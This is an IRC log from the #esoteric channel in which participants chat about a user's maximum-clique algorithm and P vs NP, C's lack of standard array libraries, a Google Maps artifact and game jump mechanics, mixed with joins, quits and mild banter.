I guess < 1268772249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hey, am I holding a monologue or something? < 1268772251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prods fizzie
< 1268772278 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm sort of a bit away here. < 1268772295 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'd photograph places at the university, but I don't want to do it when there are people there. < 1268772303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1268772313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, btw fish eye looks funny < 1268772318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tried that projection? < 1268772338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :stereographic actually seems to kind of work for this... < 1268773067 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268773303 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268773310 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :a < 1268773312 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Client Quit < 1268773813 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: hey < 1268773836 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Ahoy. < 1268773853 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sup < 1268773864 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Not much. < 1268773866 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl is a twerp < 1268773873 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :true < 1268773883 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he can go stick it up himself < 1268773892 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hot < 1268774013 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION disassembles a pen and screws a TRS size adapter onto one of the parts.
< 1268774071 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I imagine that in my younger days, I would have expected to be able to do that, plug it into an amplifier, and sing into the tip of the pen, and hear my voice coming through the amplifier. < 1268774093 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :uorygl I hope yu get electrocuted < 1268774959 0 :Ilari_!~user@2002:5870:32ae::1 JOIN :#esoteric < 1268775054 0 :Ilari!unknown@unknown.invalid QUIT :Quit: "Address/window change" < 1268775054 0 :Ilari_!unknown@unknown.invalid NICK :Ilari < 1268776055 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well uorygl? is my algorithm awesome or not? 8D < 1268776265 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268776756 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268777696 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Has nothing really happened for 25 minutes? < 1268777736 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :butt < 1268777746 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1268777749 0 :Slereah!unknown@unknown.invalid PRIVMSG #esoteric :butt < 1268778032 0 :johsam1!~johan@237.99-247-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1268778059 0 :johsam1!unknown@unknown.invalid PART #esoteric :? < 1268778529 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268778722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :* uorygl disassembles a pen and screws a TRS size adapter onto one of the parts. <-- TRS? < 1268778759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : uorygl I hope yu get electrocuted <-- why? < 1268778903 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because he ignored me < 1268778929 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he linked to some puzzles site so I tried to show him my favorite puzzles but he just completely ignored me, why would someone do that? It's so horrible < 1268779402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268779407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, maybe he missed it? < 1268779864 0 :Ilari!unknown@unknown.invalid QUIT :Quit: Reconnecting < 1268779872 0 :Ilari!~user@2002:5870:32ae::1 JOIN :#esoteric < 1268780224 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: tip-ring-sleeve, consumer audio connectors. < 1268780273 0 :comex!unknown@unknown.invalid PART #esoteric :? < 1268780703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ? < 1268780704 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: ouch. im doing some tests on random graphs, and the time complexity seems to be exponential :( < 1268780712 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its _fast_ but its exponential < 1268780714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268780773 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268780841 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268780847 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i had thought i'd done it! D: < 1268780905 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Proven P = NP? < 1268780914 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hell yeah bitch < 1268781231 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268781464 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1268782190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, I doubt P=NP is the case < 1268782196 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268782197 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :still! < 1268782200 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there seems to be nothing that points in that direction < 1268782236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, what I find more likely is than P=NP is that P!=NP but that is unprovable. (Of course it could be unprovable if it is unprovable or not...) < 1268782333 0 :fax!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268782372 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268782400 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's provable.. it's just very, very hard to prove. < 1268782406 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :...exponentially hard < 1268782409 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah? prove it. < 1268782412 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :8D < 1268782455 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually, this is interesting, the graphs that seem to be taking the longest to calculate are the ones that are very nearly complete, but those are _easy_ when just run by themselves. so i might be actually hitting computational randomness in the calculation times < 1268782456 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268782695 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah, that seems to have been what it is; after averaging multiple compute times for each graph, the number of graphs that are extremely long to compute for has dropped < 1268782832 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268783537 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268783608 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bhatturas <3 < 1268783918 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :damnit, i keep doing this < 1268783927 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the algorithm ive been testing? wrong fucking algorithm. < 1268783937 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i have two methods on my graph class that solve this problem < 1268783947 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :both with the same name, except for a version number < 1268783961 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. relmaxclique and relmaxclique2 < 1268783966 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the first i know to be a shitty algorithm < 1268784102 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268784171 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fuck yeah, now its looking good :) < 1268784213 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :10:03:38 hmm, if a problem is NP, its reverse is normally P < 1268784224 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you should be _glad_ you're not here right now < 1268784257 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: :) < 1268784262 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION huggles oerjan
< 1268784263 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(translation: that is just nonsense) < 1268784285 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :unless he had something strange in mind by "reverse" < 1268784291 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :isn't that part of the definition of NP? < 1268784299 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :have i told you about my algorithm that seems to solve the maximum clique problem in quadratic time? 8D < 1268784302 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :certainly not < 1268784367 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i have a link somewhere in the logs < 1268784369 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :did you see it? < 1268784415 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: well since the part of the logs i'm at mentioned it was NP-complete, i assume that's only "seems" < 1268784424 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it probbaly does only seem < 1268784445 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im running it in Textmate's ruby interpreter, so its slow, right < 1268784451 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i cant so the kinds of tests i'd like to do < 1268784460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but otherwise i should congratulate you on soon becoming a millionaire ;D < 1268784467 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we could implement it in C and get some blazing speed out of it then throw some random data at it < 1268784469 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :MAN I WISH < 1268784562 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: you should test it on a maximum clique problem that has been reduced from some other NP-complete problem like SAT. < 1268784602 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sure but what i need is not a single test case but a bunch of them, so that i can actually plot complexity curves < 1268784607 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i don't know (at least on the spot) how the reduction goes though < 1268784617 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a single test case is fine, but that just tells me how fast it solves this one problem < 1268784633 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: well if you have the actual reduction algorithm, you could test reduced SAT cases < 1268784683 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right. i guess what i really need is a way to just run through a shitton of graphs. < 1268784698 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right now im just testing it on 100 random graphs with n nodes < 1268784706 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for n in 2..30 < 1268784711 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268784721 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: Ruby? Of course it's slow. The interpreter is literally traversing the AST! < 1268784729 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268784755 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i know its slow. i need to write this in C, but im too lazy to figure that out right now. i suppose if i could find a graph library it'd be trivial < 1268784782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"the problem of finding the maximum clique is both fixed-parameter intractable and hard to approximate" < 1268784787 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and i need to figure out how to use the standard array and hash libraries < 1268784822 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Array library? C? *Hah*. < 1268784837 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268784851 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what? :P < 1268784863 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you know, something that will automatically manage arrays for me < 1268784874 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No such thing. < 1268784877 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268784878 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes there is < 1268784882 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You're lucky to have malloc. < 1268784883 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: are you sure you are actually finding the maximum clique and not a _maximal_ clique? < 1268784888 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is being intentionally evil. ;)
< 1268784891 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268784918 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(i.e. a clique that cannot be enlarged) < 1268784920 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But on a more serious note: there are no *standard* array libraries. < 1268784923 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yes. see, the algorithm technically doesn't find the maximum clique, it finds the largest clique that a given node is in < 1268784929 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You've got handy tools like "memcmp" < 1268784933 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :and "memcpy". < 1268784938 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :BUT, that problem is actually the maximum clique problem. < 1268784938 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268784947 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And things that claim to be tools like "strcpy" and "strcmp". < 1268784971 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, ofcourse im finding a maximal clique. the maximum clique IS maximal. 8D < 1268784978 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a semanticist
< 1268785023 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah thats right < 1268785032 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i know how to do denotational semantics /for real languages/ < 1268785055 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :suck it, strachey and scott < 1268785079 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :general semantics? hah < 1268785083 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no. < 1268785087 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1268785091 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I know! < 1268785092 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :general semantics is not semantics. < 1268785098 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I know! < 1268785321 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :10:22:57 generate them at random? by definition, you can test if an answer to an NP-complete problem is correct in P-time < 1268785326 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*facepalm* < 1268785350 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :only if the answer is _yes_ < 1268785365 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And only if "answer" means a whole lot more than the answer. < 1268785374 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: forget him < 1268785379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268785379 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets translate this algorithm into C < 1268785416 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise, the statement would be equivalent to "you can determine if the answer to an NP-complete problem is YES or NO in P-time". < 1268785437 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268785472 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I once met a guy who was 120% sure that P != NP. < 1268785473 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: mind you what he said, with a liberal interpretation, is true if NP = co-NP. but that is not known. < 1268785516 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, if he really is 120% sure, he ought to be willing to take a bet where he loses $1 if P != NP and loses $1,000,000 if P = NP. < 1268785531 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: cmon, lets do it. im starting to see some potentially exponential trends so lets get to doing this for real < 1268785557 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean "us", kemosabe? < 1268785558 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Calculate the expected value: 1.2 * -1 + -0.2 * -1000000 = 199998.8 < 1268785595 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: us, as in if its really polynomial you'll get half the credit. < 1268785606 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*kimosabe < 1268785684 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1268785748 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait, it's kemosabe, how does google dare to suggest a _wrong_ correction? < 1268785900 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :magic < 1268785945 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Google Dares With Magic < 1268785972 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i'd dare your magic < 1268785975 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you know what i mean < 1268785976 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;o ;o ;o < 1268786393 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wow wait < 1268786401 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :are there really no standard C libs for arrays? < 1268786605 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's not part of the standard library, no. < 1268786632 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Strictly speaking, C *does not have arrays* that are not global or on the stack. And you cannot pass arrays as arguments. < 1268786640 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What you have is a pointer and syntactic sugar. < 1268786686 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :right, i know. what i mean is some sort of struct or whatever and some functions that will manage it so i can just push and pop as needed < 1268786698 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not in the C library. < 1268786706 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268786708 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im surprised. < 1268787467 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268788572 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where the fuck is memcpy located :| < 1268788674 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :string,h, according to man memcpy < 1268788712 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. string.h < 1268788767 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think i might need to just write my own version actually < 1268788790 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no probably not < 1268788790 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268789460 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hm. < 1268789468 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh. < 1268789585 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :weird. < 1268789701 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run echo 'Because there are a LOT of ways to mess up these' | wc < 1268789711 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :1 11 49 < 1268789770 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268789779 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268790843 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :O_O < 1268790941 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes? < 1268791180 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Quite Definitely Maybe. < 1268791501 0 :comex!unknown@unknown.invalid NICK :HiEverybody < 1268791507 0 :HiEverybody!unknown@unknown.invalid NICK :comex < 1268791555 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :comex: hi! < 1268791561 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268791793 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268793210 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268793954 0 :pikhq!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268793971 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1268794028 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268794260 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268794262 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268794282 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i've found something amusing on google maps :D < 1268794283 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268794288 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://to./38k2 WTF? < 1268794343 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268794349 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :well then < 1268794351 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :0.5mil broad stripe over bajkal O_o < 1268794443 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :looks like a post-processing artifact to me < 1268794451 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1268794474 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :looks awesome < 1268794518 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no no, it's the famous barguzin half-bridge < 1268794538 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :for soviet tanks, perhaps < 1268794539 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :;D < 1268794553 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :if this wasn't 2010 i'd say it was a piece of tape < 1268794794 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://en.allexperts.com/q/Geography-1729/running-Lake-Baikal-1.htm < 1268794798 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :rotfl rotfl rotfl < 1268794821 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :they're trying to explain it with another conspiracy theory < 1268794823 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric ::DD:DD: < 1268794970 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268796063 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268796716 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :okay, so in my game, if the player hits the jump button 2 frames before they touch the ground, the game gives them leeway and jumps anyway once they touch down < 1268796724 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :hope this doesn't screw with their brains < 1268796798 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :I'm actually pretty happy about the heuristics I've come up with. scrolling, jumping behavior, ... < 1268796801 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :brainfucking is strictly allowed in this community < 1268796827 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :screw with their brains, not screw their brains < 1268797878 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268798410 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :erg < 1268798425 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :why am i getting errors when i have circular dependency graphs in C? :| < 1268798848 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268799216 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean by circular dependency graphs < 1268799242 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: ^ < 1268799253 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :nevermind < 1268799257 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i found a better solution < 1268799287 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you mean #include's, then they cannot be circular afaik, they're textual inclusion < 1268799306 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i was using #import, but < 1268799333 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268799401 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah that's apparently not C, but C++ < 1268799415 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :XCode. < 1268800010 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268800319 0 :werdan7!unknown@unknown.invalid QUIT :*.net *.split < 1268800319 0 :SimonRC!unknown@unknown.invalid QUIT :*.net *.split < 1268800355 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1268800785 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268801196 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"Probably a simple question but what do I put for the login universe for Preston bot and other bots if I am in AWEDU? I have tried !AWEDU! but get the message ' cant resolve universe host'." < 1268801209 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Basically, the login universe is a server < 1268801224 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, this person is somewhat clueless, but so what < 1268801234 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :However, this is the response from staff: < 1268801247 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"Could you please tell me what your User name is in AWEDU and which world is yours? I will need this to get the info. < 1268801247 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :" < 1268801251 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :^^lies < 1268802062 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268804012 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268812799 0 :clog!unknown@unknown.invalid QUIT :ended < 1268812800 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268813281 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268815257 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268815807 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268821719 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268824428 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268825568 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268825834 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268826602 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268828015 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268830601 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268831076 0 :MigoMipo!~MigoMipo@84-217-15-154.tn.glocalnet.net JOIN :#esoteric < 1268831916 0 :amca!~amca@CPE-121-208-82-97.cqzr1.cha.bigpond.net.au JOIN :#esoteric < 1268833164 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268837559 0 :deschutron!~alex@122-49-172-157.ip.adam.com.au JOIN :#esoteric < 1268837816 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268837867 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268838004 0 :MigoMipo!unknown@unknown.invalid QUIT : < 1268838027 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268838143 0 :MigoMipo!~migomipo@84-217-15-154.tn.glocalnet.net JOIN :#esoteric < 1268838210 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268838225 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268838467 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268838652 0 :MigoMipo!~migomipo@84-217-15-154.tn.glocalnet.net JOIN :#esoteric < 1268839392 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268841962 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268841988 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268842990 0 :oerjan!unknown@unknown.invalid QUIT :Quit: KABOOM! < 1268843013 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268843144 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1268843457 0 :sebbu2!~sebbu@ADijon-152-1-8-33.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268843485 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268843488 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268843844 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268845046 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 633 seconds < 1268845294 0 :deschutron!unknown@unknown.invalid PART #esoteric :? < 1268845570 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268846366 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there? < 1268846407 